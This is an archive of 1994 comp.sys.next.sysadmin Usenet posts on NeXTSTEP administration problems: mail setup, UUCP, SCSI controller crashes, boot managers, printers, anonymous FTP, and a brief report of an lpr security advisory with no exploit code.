SerialMouse.config directory/driver and email it to me.
Thanks,
Scott Hergott
Email : shergot5@mach1.wlu.ca
From: terry_marrs@wiltel.com(Terry Marrs)
Newsgroups: comp.sys.next.sysadmin
Subject: Fax Modems
Date: 2 Mar 1994 17:54:07 GMT
Organization: WilTel
Message-ID: <2l2jrv$5g7@gateway.wiltel.com>
Is it possible to get a InTel 96/96e fax modem to work off a black
box? Are there drives? What do I need in netinfo? Thanks in advance!
--
|Terry Marrs
|terry_marrs@wiltel.com
|WilTel | NeXTmail OK
-- NewsGrazer, a NeXTstep(tm) news reader, posting --
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A"0D)"2!\("`@("`@("`@($YE6%1M86EL($]+(%P*"GT*
`
From: Charlesa@learned.co.uk
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc
Subject: Re: NS 3.2/I and putenv()
Date: Fri, 04 Mar 94 14:05:20 BST
Organization: EUnet GB
Message-ID: <2l7fon$6o8@marble.Britain.EU.net>
References: <2l0buf$1jo@steffi.demon.co.uk>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In article <2l0buf$1jo@steffi.demon.co.uk>, <robert@steffi.demon.co.uk> writes:
> What a shame we didn't get to see what he was compiling.
>
> Well here we go again with another putenv flame ware.
>
> Mr EPS please step forward, wait for it wait for it :-)
>
> To the poster, if nobody sends you a putenv then get in touch.
>
Poster here; thanks for the offer, and to all those who helpfully replied.
What putenv flame ware? If this thread has a history, I am <blissfully>
unaware. Didn't mean to open old battlewounds...
From: hindman@orange.digex.net (hindman)
Newsgroups: comp.sys.next.sysadmin
Subject: I need a unix wizard in L/A...
Date: 2 Mar 1994 23:35:04 -0800
Organization: Express Access Online Communications, Greenbelt, MD USA
Distribution: la
Message-ID: <2l43v8$1cn@orange.digex.net>
I need some help getting uucp to work on my cube. I need to run NeXTmail
and NewsGrazer.
Can you help?
I'm getting kind of frustrated!
jack
Fountain Valley, CA
Newsgroups: comp.sys.next.sysadmin
From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop))
Subject: Exporting a NeXT Laser to the net
Message-ID: <CM5BL0.671@dvorak.amd.com>
Sender: news@dvorak.amd.com (Usenet News)
Organization: Advanced Micro Devices, Austin TX
Distribution: usa
Date: Fri, 4 Mar 1994 15:12:34 GMT
Novice sysadmin (that's me!) asks ...
How does one make a NetInfo network laser printer available to other machines
(HP's) on the net ?
Any help appreciated!
--
Ronald Pomeroy
Advanced Micro Devices
CAM Applications Group
rpomeroy@aunext1.amd.com
From: statman@stat.ufl.edu (Charles D. Kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: How to Organizing Mailboxes?
Date: 4 Mar 1994 15:55:31 GMT
Organization: University of Florida
Distribution: world
Message-ID: <2l7lljINNf2g@no-names.nerdc.ufl.edu>
Hello,
I am trying to find a way to organize the Mailboxes (and
eventually NG folders) in a hierarchichal fashion. For example, have
Personal > Mom.mbox
Wife.mbox
Barney.mbox
Work > Project1.mbox
Project2.mbox
(and you get the idea).
A while ago someone posted a way to trick the Font panel into
grouping fonts. However, that had to do with the Font name and is not
applicable to this situation.
The only idea that I could come up with that sort of worked is to
have a Personal.mbox and a Work.mbox. In each of these have one (or more)
NeXTMail messages. In the NeXTMail message would be attachments that
would be the "sub".mboxes of interest. Then doubleclicking on the .mbox
attachment brings it up in mail. This sort of works. I think you lose
some functionality like transfering messages, though.
Does anyone have any better ideas? I've tried a couple of other
things and none worked.
--
Sincerely,
charles d. kincaid
--------------------------------------------------------------------
Dept. of Statistics 'Damn fine coffee...and hot, too!'
Univ. of Florida Pres: G-ville NeXT Users Group
From: Joe_Keenan@next.com
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Low Level Formatting
Date: 4 Mar 1994 18:41:27 GMT
Organization: NeXT, Inc.
Message-ID: <2l7vcn$n8v@rosie.next.com>
References: <37661@dog.ee.lbl.gov>
In article <37661@dog.ee.lbl.gov> rolf@csg.lbl.gov (Rolf Behrsing) writes:
> Is it possibly to low level format a scsi device with a block size of 1024
> as opposed to 512 (default) with NEXTSTEP on white?
Depends. Your boot disk MUST be 512 bytes. That's a limitation of the ROM
BIOS on PC machines. Any supplementary disks can be 1024, as long as you don't
intend to read them from DOS.
Joe Keenan
NeXT Technical Support
Organization: Central Michigan University
Date: Fri, 4 Mar 1994 15:06:18 EST
From: John Goggan <34II5MT@CMUVM.CSV.CMICH.EDU>
Message-ID: <94063.15061834II5MT@CMUVM.CSV.CMICH.EDU>
Newsgroups: comp.sys.next.sysadmin
Subject: No NeXTMail allowed...
Recently, we have become unable to receive any NeXTMail at our old NeXT-
cube running NeXTSTEP v2.1. The mail comes in, sits in /usr/spool/mail/
and seems fine if you look at it with Mail or elm (the attachment is
there in its encoded format). Then, when you have the NeXTMail App grab
the mail from /usr/spool/mail/, the mail is always empty if it was
NeXTMail (normal mail looks fine and shows up). Anyone have any ideas?
For starters -- can someone tell me the proper locations and permissions
for mail-related things that might be causing problems (sendmail, compress,
uudecode?, etc...)
Thanks!
- John Goggan
john or root@opus.csv.cmich.edu.
Note: As I said, NeXTMAIL is not working, so please don't send it. :)
Organization: Central Michigan University
Date: Fri, 4 Mar 1994 15:12:05 EST
From: John Goggan <34II5MT@CMUVM.CSV.CMICH.EDU>
Message-ID: <94063.15120534II5MT@CMUVM.CSV.CMICH.EDU>
Newsgroups: comp.sys.next.sysadmin
Subject: More mail problems...
On a similar note, we are also having another mail problem that may or
may not be related to the "no NeXTMail" problem. When sending mail
among users on the system, the address always says that it is
"From: sync" with a "Reply-to: <actual sender>". Therefore, if you
try to just reply with a non-smart mailer (such as our elm), it will
send the reply mail to sync instead of the actual sender! Any ideas
are appreciated. I'm so tired of checking the sync account's mail all
the time...
- John Goggan
john or root@opus.csv.cmich.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: nicolev@number_one.apana.org.au
Subject: Taylor UUCP configuration and setup
Message-ID: <CM5H1E.Kt7@number_one.apana.org.au>
Keywords: Taylor UUCP
Sender: nicolev@number_one.apana.org.au (Nikki A Vincent)
Organization: Cafe de Strachan - the Virtual NeXTSTEP Cafe Downunder.
Date: Fri, 4 Mar 1994 17:10:25 GMT
Hi
Now that I seem to have set up Taylor UUCP on my station, I thought that
I'd post a formal "thank you" to all those who responded with suggestions.
After a couple of weeks of hard work trying to set it up (sounds bad,
doesn't it) I've now got it all going.
So, if you need any help (or at least some help that I can provide) with
setting Taylor UUCP up on your machine, please email me and I'll do my
best to help.
Cheers
Nicole
---
----------------------NeXTmail Accepted and preferred --------------------
Nicole Vincent : nicolev@number_one.apana.org.au
SYDNEY NSW AUSTRALIA
On a day when nothing happens, are Life is a health hazard,...
they gonna cancel the 6 o'clock news? watch out or it will get you.
WIRED, February 1994, pp. 50. ME :-)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to Organizing Mailboxes?
Date: 4 Mar 1994 23:23:30 -0000
Organization: me organised, that's a joke.
Message-ID: <2l8fti$bqe@steffi.demon.co.uk>
References: <2l7lljINNf2g@no-names.nerdc.ufl.edu>
In article <2l7lljINNf2g@no-names.nerdc.ufl.edu>,
Charles D. Kincaid <statman@stat.ufl.edu> wrote:
>
>Hello,
>
> I am trying to find a way to organize the Mailboxes (and
>eventually NG folders) in a hierarchichal fashion. For example, have
>
>Personal > Mom.mbox
> Wife.mbox
> Barney.mbox
>
>Work > Project1.mbox
> Project2.mbox
>
>(and you get the idea).
>
> A while ago someone posted a way to trick the Font panel into
>grouping fonts. However, that had to do with the Font name and is not
>applicable to this situation.
>
> The only idea that I could come up with that sort of worked is to
>have a Personal.mbox and a Work.mbox. In each of these have one (or more)
>NeXTMail messages. In the NeXTMail message would be attachments that
>would be the "sub".mboxes of interest. Then doubleclicking on the .mbox
>attachment brings it up in mail. This sort of works. I think you lose
>some functionality like transfering messages, though.
>
> Does anyone have any better ideas? I've tried a couple of other
>things and none worked.
>
>--
>Sincerely,
>
>charles d. kincaid
>--------------------------------------------------------------------
>Dept. of Statistics 'Damn fine coffee...and hot, too!'
>Univ. of Florida Pres: G-ville NeXT Users Group
Mail app in it's brain dead state requires that you have all of your mailboxes
under ~/Mailboxes.
Time for dwrite Mail MailboxPath ~/Mailboxes:~/MoreMailboxes
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
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From: info@paradigm-shift.com (Paradigm Shift, Inc.)
Newsgroups: comp.sys.next.sysadmin
Subject: Sending mail in "mailq"
Date: 5 Mar 1994 01:12:08 GMT
Organization: MCNC -- Center for Communications -- CONCERT
Distribution: world
Message-ID: <2l8m98$5u5@inxs.concert.net>
If I send mail when I don't have my SLIP connection up, it leaves the mail in
the queue...how can I make the machine send the mail when I go on line?
Dave
--
Paradigm Shift, Inc. (919) 682-8553 [Voice]
A NeXT Object Channel Member (919) 682-1126 [Fax]
NeXTMail Welcomed (temporary domain) info@paradigm-shift.com
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.bugs
Subject: EATA timeout report #1 (summary)
Date: 4 Mar 1994 13:08:06 GMT
Organization: Palumbian Research Labs
Message-ID: <2l7brm$1qo@marsu.tynet.sub.org>
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Keywords: DPT 2022, SCSI timout, crashes
EATA timeout report
===================
Description of the problem:
The DPT EISA controllers 2022/9x and 2012/9x cause disastrous crahes under
NeXTSTEP Intel 3.x. These crashes are initiated by an "EATA timeout" error
message in /usr/adm/messages, and a few seconds later any disk access on
the SCSI bus is blocked. If this happens when file system relevant information
is written to disk, the resulting damage to the filesystem is often so big
that a complete restore from tape is the only way left.
A typical /usr/adm/messages entry looks like:
Feb 14 04:06:57 kato mach: EATA timeout
Feb 14 04:06:57 kato mach: Resetting SCSI Bus...
Feb 14 04:06:57 kato mach: sd1: I/O Timeout; Retrying.
Feb 14 04:06:57 kato mach: target:2 lun:0 op:Read block:1458928
blockCount:16
Feb 14 04:06:57 kato mach: EATA timeout
Feb 14 04:06:57 kato mach: Resetting SCSI Bus...
Feb 14 04:06:57 kato mach: sd0: I/O Timeout; Retrying.
Feb 14 04:06:57 kato mach: target:0 lun:0 op:Read block:303648 blockCount:6
Feb 14 04:06:57 kato mach: sd1: I/O Timeout; Retrying.
Feb 14 04:06:57 kato mach: target:2 lun:0 op:Read block:1898816
blockCount:16
Feb 14 04:07:27 kato mach: EATA timeout
Feb 14 04:07:27 kato mach: Resetting SCSI Bus...
Feb 14 04:07:27 kato mach: sd1: I/O Timeout; Retrying.
Feb 14 04:07:27 kato mach: target:2 lun:0 op:Write block:1458928
blockCount:1
6
Equivalent crashes were reported by:
Rene Kulschewski <rene@rkt.in-berlin.de>
martin@cube.han.de (Martin Ortlepp)
Rainer Staringer <rainer@fml.tuwien.ac.at>
John B. Hampshire II <hamps@richibucto.jpl.nasa.gov>
ramesh@bodhi.esys.cwru.edu (Ramesh Dodamani)
Varun Mitroo <mitroo@magnus.acs.ohio-state.edu>
Milo Velimirovic <milov@fingers.acs.uwlax.edu>
Markus Wenzel <mow@marsu.tynet.sub.org>
Additional notes:
The crash frequency varies from twice a day up to once a month. It is
reported that the crashes occur with SmartROM rev 2B and 2C / BIOS rev
5B and 5C.
The only characteristic which is common to all listed systems might be that
in all of them Fast-SCSI-II harddisks are installed, e.g. DEC DSP3107,
DEC DSP 3053, HP C2247, IBM 0662S12
Weird effects I noticed on my system:
- No timeouts occur any longer if I replace the 2022 with a ISA 2021 adapter.
- The same 2022 in a friend's system with an old and rather slow Fujitsu drive
does not cause any trouble there.
Effects noticed on more than one system:
- Decreasing the transfer rate from 10 MB/s to 5 MB/s makes the timeouts
less frequent, but they still occur. Performance goes down with it
seriously, so this cannot be considered as a "solution".
My ECU configuration is exactly as described in NeXTanswers #1457 and I
have no cache installed on my DPT. (I cannot speak for the settings of the
other systems.)
Bad cabling and termination cannot be the reason for all eight systems
listed above. Personal experiments with termination (switching disk order
in the chain, leaving other devices out) did not cure the problem.
System configurations in detail:
my own:
EISA/VL 486DX2 66, SiS Chipset, AMI BIOS, 32 MB
DPT 2022/95, BIOS Rev. 2C (purchased in January 94)
Toshiba CD-ROM 3201, Sankyo CP 525 QIC,
DEC DSP 3053L, IBM 0662S12 (with active termination on).
MTBC: about 2 days.
Milo Velimirovic <milov@fingers.acs.uwlax.edu>
Dell 4066/XE (i486 66MHz 24Mb) S3 805 w1MB Video RAM NeXTSTEP 3.2
DPT 2012/90, BIOS Rev. 5B, purchased summer 1993
HP 4mm DAT SCSI ID 6.
DEC DSP3105 1GB disk on / SCSI ID 0.
3 HP C2247 1GB disks mounted for users' files, SCSI ID's 1,2, and 4.
Dell 4066/XE (i486 66MHz 32Mb) S3 805 w1MB Video RAM NeXTSTEP 3.1
DPT 2012/90, BIOS Rev. 5B, purchased late summer 1993
3 HP C2247 1GB disks mounted for users' files, SCSI ID's 0,2 and 4.
Dell 4066/XE (i486 66MHz 32Mb) S3 805 w1MB Video RAM NeXTSTEP 3.2
DPT 2012/90, BIOS Rev. 5B, purchased late summer 1993
2 HP C2247 1GB disks mounted for users' files, SCSI ID's 0 and 1.
Typically, the first machine will run for several days, sometimes
as long as two and a half weeks and then crash. The second
machine hasn't had a crash for many weeks but stuff like this
shows up in its /usr/adm/messages file: [...]
ramesh@bodhi.esys.cwru.edu (Ramesh Dodamani)
EISA/VL 486DX2 66, SiS Chipset, AMI BIOS, 32 MB
DPT 2022/95, BIOS Rev. 2B
Archive Viper 525MB Tape Drive
Seagate 1GB Drive.
Varun Mitroo <mitroo@magnus.acs.ohio-state.edu>
I get crashes very rarely, about once a month. My hardware:
AMI Enterprise III 486DX2 66, 48 MB RAM
DPT 2022/95, ROM upgraded to 2C
Toshiba 3401 CD-ROM
Pinnacle 650 MB Magneto=optical drive
NeXT color printer Maxtor 1240 HDD
The optical drive and printer are external, and the printer is
terminated. Everything usually works very well, and I sometimes
get occasional time outs which usually recover. It's annoying,
but not that frequent, about once a week.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Veni, vidi, NeXTSTEPi.
From: jeddak@panix.com (Jonathan Donald)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: 3.2 vs. 3.0 on BLACK
Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc
Date: 4 Mar 1994 21:30:22 -0500
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <2l8qru$pdu@panix.com>
References: <CLy3Iq.3qI@bldrdoc.gov>
Eric (eboltz@acoustica.mrd.bldrdoc.gov) wrote:
: I have a lone NeXT (turbo color, adb) in a hetero net (hpux, sun) and
: I'm interested in *WHY* I should upgrade to 3.2 from 3.0.
Good question. Standalone users have been neglected in favor of gigundo corporate clients. <Sigh!>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to Organizing Mailboxes?
Date: 4 Mar 1994 21:59:41 -0500
Organization: Digital Fix Development
Distribution: world
Message-ID: <2l8sit$809@digifix.digifix.com>
References: <2l8fti$bqe@steffi.demon.co.uk>
Robert Nicholson writes
> In article <2l7lljINNf2g@no-names.nerdc.ufl.edu>,
> Charles D. Kincaid <statman@stat.ufl.edu> wrote:
> > I am trying to find a way to organize the Mailboxes (and
> >eventually NG folders) in a hierarchichal fashion. For example, have
> >
>
> Mail app in it's brain dead state requires that you have all of your
mailboxes
> under ~/Mailboxes.
>
> Time for dwrite Mail MailboxPath ~/Mailboxes:~/MoreMailboxes
Thats a bit harsh... this will certainly work
Work_Project1.mbox
Work_Project2.mbox
Private_Mom.mbox
Private_Barney.mbox
Private_Wife.mbox
It might be better to prefix with a smaller word. In addition, with
the Procmail, mailapp-utilities and a bit of setup, you can even have the mail
automatically arrive in the correct mailbox based on some header criteria.
Until there are some good alternatives, Mail.app covers things off....
Of course when there is an alternative, will people actually be willing
to pay for it?
--
- Scott Anguish -
sanguish@digifix.com (NextMail)
next-announce@digifix.com (comp.sys.next.announce submissions)
From: shaman@halcyon.halcyon.com (Russell Wilcoxon)
Newsgroups: comp.sys.next.sysadmin
Subject: Toshiba 3401b + PAS-spectrum under 3.2 Intel
Date: 5 Mar 1994 02:23:09 GMT
Organization: Northwest Nexus Inc.
Message-ID: <2l8qed$1jp@nwfocus.wa.com>
Summary: I'm not getting it to work
Keywords: CDROM PAS Sound
've just installed NSI 3.2. I havn't ever gotten the CD player app to
output sound through the PAS 16. I can get system sounds. I also have
it set up the way that the 3.1 docs say to..sd0=device-0,Maxtor 345,
sd1=device-2,Maxtor 245, and sd2=device-3, Toshiba CD. Is this setup still
nessesary under 3.2? (Dos can't handle the skip in unit numbers and
there fore can't see the second SCSI hd.) (I just found these rules in
release notes for 3.2, so to the answers is yes.) :-(
I'm using an Adaptech 1542c controller on an AIR-EISA/VESA 486-dx66.
I've tried the additional driver that's on cs.orst.edu and it just
blocks system sounds. No Hendrix while doing a "make".
Any help will be appreciated.
Russell Wilcoxon
shaman@halcyon.com
out put
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Shadow Passwords
Date: 5 Mar 1994 10:37:10 GMT
Organization: San Francisco State University
Message-ID: <2l9ncm$j4e@nic-nac.CSU.net>
References: <CM3Eyy.1LD@usenet.ucs.indiana.edu> <2l5242$196@netnews.upenn.edu> <16F6ED305S86.CCGREG@mizzou1.missouri.edu>
In article <16F6ED305S86.CCGREG@mizzou1.missouri.edu>
CCGREG@mizzou1.missouri.edu (Greg Johnson) writes:
>scotto@spasm.cica.indiana.edu (Scott Ostrander) writes:
>>Does anyone know if someone has produced a patch for NS 3.x to use shadow
>>passwords instead of encoding the password entry in /etc/passwd?
That doesn't help if you're running NetInfo.
Yes, NetInfo _can_ be fixed, but since NeXT sold the rights to
NetInfo to Xedoc instead of publishing the protocol and releasing
their source code, I don't see why I should donate my time for
someone else's commercial gain.
>anstine@uniblab.sas.upenn.edu replies:
>>Yeah, and how about password aging. And a hack to force a certain user to
>>change his password upon next login.
More often than not, password aging actually results in DECREASED
security.
>Please, NeXT. Why can't Netinfo protect encrypted passwords from Crack?
Passwords ARE the problem. The ONLY way to fix "the password
problem" is to stop using passwords.
>I'm not asking for a full-blown Kerberos
Why not? It's not the only way--but it's ONE way that DOES work
--and it sure works a lot better than what you have now. And
it's not like NeXT would have to pass on licensing costs--
Kerberos is FREE. (And it's supported by other vendors.)
> NetInfo is even less
>secure than NIS.
False.
I do feel obligated to point out that it is NOT necessary to
"throw the baby out with the bath water"--NetInfo does a lot more
than handle passwd information, and its positive aspects can be
retained while identification/authentication/authorization issues
are handled by a different mechanism.
>What does it take to escalate this issue?
C'mon. What makes you think NeXT even cares?
-=EPS=-
--
Stupid password schemes are probably mandated for POSIX compliance.
Newsgroups: comp.sys.next.sysadmin
From: schwett@netcom.com (Mark Schwettmann)
Subject: Multiple Boot Utilities, no more NeXTStep :(
Message-ID: <schwettCM6tss.FGB@netcom.com>
Summary: Help me
Keywords: OS/2 boot NeXTStep/Intel
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Sat, 5 Mar 1994 10:43:40 GMT
Oh boy, I may have really done it this time!
I got a new hard drive, so I backup up and then went to repartition.
My goal was this : get Windows3.1(DOS), OS/2, and NeXTStep all installed and
accessible from IBM's boot manager menu.
I read an article a while back about this, and someone had done it
successfully, and it was really messy, but it worked. So I set out to
do the same, but since I didn't have the article anymore and I can't seem
to find it, I just had to wing it.
I don't even remember what order I did everything in. I just made sure
that DOS was at the beginning of the drive, and a couple of other things.
THe drives are two identical Fujistu 1gig SCSI devices, with an AHA1542...
Right now, it looks like this.
Drive 1 :
primary partition, 600mb (for DOS)
extended DOS parition with one "logical drive", HPFS format, for OS/2
IBM boot manager.
Drive 2 :
primary paritition, NeXTSTep formatted. 600 mb.
SOme free space, obviously.
The boot manager comes up, and I get the three choices, as I added them. I
can do DOS or OS/2 just fine, all goes well. When I choose NeXTStep, all
I get is the "NeXT Boot 1.28" or something like that, at the top of the
screen, and nothing else ever happens. If I boot from the release floppy
and type sd(1)mach_kernel, it goes to boot from the proper drive and then
stops just a little way in with a bunch o' nasty error messages, leaving
me with a lonely looking hash prompt, from which I can look around and
see that all the files look perfectly intact, and identically arranged as
the previous NeXTStep configuration.
So I'm hopeful - I think it will work given some small changes to the
second drive.
ANybody out there nkow what those chagnes are???
Thanks a million... Can't wait to get back into NeXTStep - I've come to
absolutely despise Windoze.
Mark Schwettmann
Newsgroups: comp.sys.next.sysadmin
From: schwett@netcom.com (Mark Schwettmann)
Subject: Re: Multiple Boot Utilities, no more NeXTStep :(
Message-ID: <schwettCM75F5.46E@netcom.com>
Keywords: OS/2 boot NeXTStep/Intel
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <schwettCM6tss.FGB@netcom.com>
Date: Sat, 5 Mar 1994 14:54:39 GMT
Good news.... I checked out all the NeXTAnswers docs that seemed relevant,
and after a few more fdisks and the like, I've got it going.
Only one problem now; when I turn on the system I get the "n for nextstep,
..." prompt. WHen I hit N, then I get the Boot Manager, which is what
I want; from here I can go to Windows, OS/2, or NeXTStep.
Anybody know how to remove the nextboot stuff without killing EVERYTHING?
Reinstalling Boot Manager is no biggie, but the NeXT advice for getting
for of boot1 (or whatever it's called) is "fdisk -mbr" which will surely
kill everything!
Thanks,
Mark
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: YP instead of netinfo ?
Date: 5 Mar 1994 11:01:12 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9403051702.AA13711@dcs.shef.ac.uk>
> What must I do to set up a bunch of NeXT cubes to use YP
> only? I recently set up a new NeXT cube and set up
> hostconfig with explicit hostname, IP address and YP
> domain, but it still wants to talk netinfo and I have to
> press 'c' to tell it not to bother during bootup.
>
I *think* all you have to do is...
In HostManager, top left corner, where you have a pair of radio
buttons, click on the one labelled "Use local domain only".
I don't know enough low-level NetInfo to know if this is the functional
equivalent of your suggestion:
> Is it simply a matter of commenting out the nibinder?
>
but would be pleased to learn if somebody could inform me.
The rest of your setup sounds just like ours, and we have no "Press c"
problem.
Have fun,
mmalcolm.
From: akonstan@budapest.math.macalstr.edu (Alexander Konstantinou)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT & [8lgm]-Advisory-3.UNIX.lpr
Date: 5 Mar 1994 17:00:17 GMT
Organization: Macalester College, Department of Mathematics and Computer Science
Message-ID: <2ladr1$plt@mckinley.cit.macalstr.edu>
For those not following the security bug of the month club there are four new
advisories on a number of security holes (comp.security.unix). The difference
is that this time the advisories are accompanied by full-blown ready to run
scripts that take advantage of the holes. According to the authors the bugs
have been reported to CERT since 1991 and given NeXT's cooperation with CERT
I assumed our systems were safe. Not so, it turned out, for at least one case
I have tested. It is possible to trigger the lpr bug on systems running NS3.2.
The effect is that :
" lpr(1) can be used to overwrite or create (and become owner of)
any file on the system."
The advisory comes with a patch to the BSD source but in the mean time I have
disabled lpr for the weekend.
--
Alexander V. Konstantinou akonstan@math.macalstr.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Re: Exporting a NeXT Laser to the net
Organization: CYANTIC Systems
Distribution: usa
Date: Sat, 05 Mar 1994 17:41:46 GMT
Message-ID: <1994Mar05.174146.27772@cyantic.com>
References: <CM5BL0.671@dvorak.amd.com>
In article <CM5BL0.671@dvorak.amd.com> rpomeroy@aunext1.amd.com writes:
>Novice sysadmin (that's me!) asks ...
>
>How does one make a NetInfo network laser printer available to other machines
>(HP's) on the net ?
I hate indirect followup postings like the one I'm going to make, but here
it is anyway.
We send print jobs from our SCO UNIX box (System Vr3) to our Next printer.
Since HPUX is System V this may be helpful.
SCO ships a network printer interface description, which is a shell script,
with their lp printer functions. All we had to do was define a remote
printer, make sure ownership/permissions were correct, and create a
one-line file on the SCO box that looked like this:
nextpsprinter: rcmd Next_host lpr -P Next_printer_name
The solution uses rcmd to do the remote print. I think HP may have a
pre-defined remote printer interface in their lp subsystem. Have look at
SAM and it may be just waiting to be set up.
As I said, this may be indirect evidence, but it may be useful.
--
Mark T. Dornfeld, Cyantic Systems Corporation Voice: (416) 621-6166
1 Eva Road Suite 301 Facsimile: (416) 621-6212
Etobicoke, Ontario, M9C 4Z5 CANADA Email: mark@cyantic.com
From: powell@tropic.aoml.erl.gov (Mark Powell)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Pine mail program or filters available for NEXTSTEP?
Date: 5 Mar 1994 21:03:29 GMT
Organization: U.S. Department of Commerce, NOAA/AOML
Message-ID: <2las31$lr6@wave.aoml.erl.gov>
Does anyone know if a unix mail program called "Pine" has been compiled
for the NeXT and where I might be able to find it? It is supposed to be
Mime compatible for mailing of binary files and will soon be our lab-wide
mail system runnig off a Sun server. Is there any kind of filter
available to convert pine mailed documents to NeXTmail? I guess a filter
would be better than replacing NeXTmail.
--
Dr. Mark D. Powell
Research Meteorologist, CCM (Swimmer, Windsurfer, user of NEXTSTEP)
NOAA Hurricane Research Division (appropriate disclaimers apply)
Miami, Fl 33149 Voice (305) 361-4403 Fax (305) 361-4402
From: gaia@wam.umd.edu (L. Anathea Brooks)
Newsgroups: comp.sys.next.sysadmin
Subject: Screen Dimming Broken in NS/I?
Date: 5 Mar 1994 23:09:26 GMT
Organization: University of Maryland, College Park
Message-ID: <2lb3f6$mke@cville-srv.wam.umd.edu>
I have a Nanao FlexScan F560i-W monitor and
NS/I machine with Wingine card. Apparently,
NS does not support the power saving of hte
Nanao (monitor shuts off after set minutes of
inactivity, if black screensaver module is
set). That is, it works, but will crash the
video driver 50% of time.
I don't want to use BackSpace, as I seem to have
problems there also. However, the Preferences.app
screen dimmer does not work. I can set the
time, but dimming NEVER kicks in.
Does Preferences dim anyone else's screen
with NS/I?
Thanks
R. de Lucca
From: hillg@vax.sonoma.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Creating anon ftp on NeXT
Date: 5 Mar 94 17:05:23 -0800
Organization: Sonoma State University
Message-ID: <1994Mar5.170523.1@vax.sonoma.edu>
I am looking for a FAQ list or just an answer to the following:
I am a Sun Sys Admin and have made anonymous ftp access on Suns.
On the NeXT, usually you create users with the admin graphic tool
for that purpose. It won't allow me to put the 'usual' input for
anonymous ftp. Can I just edit the passwd/group files by hand and
create the directories. Then use the niload utility?
i.e. How do you create anonymous ftp on NeXt 3.0?
Garrett
if you could, please also mail solutions to
ghill@sonoma.edu
Newsgroups: comp.sys.next.sysadmin
From: schwett@netcom.com (Mark Schwettmann)
Subject: Re: Screen Dimming Broken in NS/I?
Message-ID: <schwettCM7xL5.EyL@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <2lb3f6$mke@cville-srv.wam.umd.edu>
Date: Sun, 6 Mar 1994 01:03:05 GMT
>Does Preferences dim anyone else's screen
>with NS/I?
Not mine; none of those controls except for volume do anything..
>That is, it works, but will crash the video driver 50% of time.
Yeah, NeXT has an allergy to ALL power saving features it seems; the CPU
standby on my "Green PC" system causes a kernel panic when it kicks in, and
the DPMI monitor switch doesn't work either.
As so many have said, we should switch the recycler for a landfill.
Mark
Newsgroups: comp.sys.next.sysadmin
From: schwett@netcom.com (Mark Schwettmann)
Subject: Paralell Port NS/I Doesn't work.
Message-ID: <schwettCM7xrI.F89@netcom.com>
Summary: no printer!
Keywords: paralell NeXTStep Intel
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Sun, 6 Mar 1994 01:06:53 GMT
Well the problems are getting fewer each day, but this one is persistent;
and quite troublesome.
I've got a Gateway 486/66. 24mb RAM, 2gb HD's, Adaptec, ATi, and so on.
Problem : The parallel port doesn't work. At all, under NeXTStep. I had
heard that the printer needed to be on when the system was booted, so I
tried that, and watching the diagnostic messages on boot revealed a
message from the parallel driver that "no paralell port found at 0x378"
I checked the NeXT documents related to Gateway and Paralell interfaces,
and none of them have any mention of such a problem.
If this is a bug, it's a huge one!
Please! Anyone, help!
Mark Schwettmann
From: disc@vector.casti.com (David Casti)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Creating anon ftp on NeXT
Date: 6 Mar 1994 13:59:21 GMT
Organization: The Gnomes of Zurich (shhh!)
Message-ID: <2lcnjp$ae0@news.intercon.com>
References: <1994Mar5.170523.1@vax.sonoma.edu>
hillg@vax.sonoma.edu wrote:
: i.e. How do you create anonymous ftp on NeXt 3.0?
It's in the man page for ftpd.
David.
From: disc@vector.casti.com (David Casti)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: Pine mail program or filters available for NEXTSTEP?
Followup-To: comp.sys.next.software,comp.sys.next.sysadmin
Date: 6 Mar 1994 14:03:30 GMT
Organization: The Gnomes of Zurich (shhh!)
Message-ID: <2lcnri$ae0@news.intercon.com>
References: <2las31$lr6@wave.aoml.erl.gov>
Mark Powell (powell@tropic.aoml.erl.gov) wrote:
: Does anyone know if a unix mail program called "Pine" has been compiled
: for the NeXT and where I might be able to find it?
Yes it has. Try:
ftp.uu.net:/networking/mail/pine
If you have any trouble compiling, email me. I can always send you a binary.
David.
From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Paralell Port NS/I Doesn't work.
Date: 6 Mar 94 15:45:21 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.762968721@info2.rus.uni-stuttgart.de>
References: <schwettCM7xrI.F89@netcom.com>
Keywords: paralell NeXTStep Intel
schwett@netcom.com (Mark Schwettmann) writes:
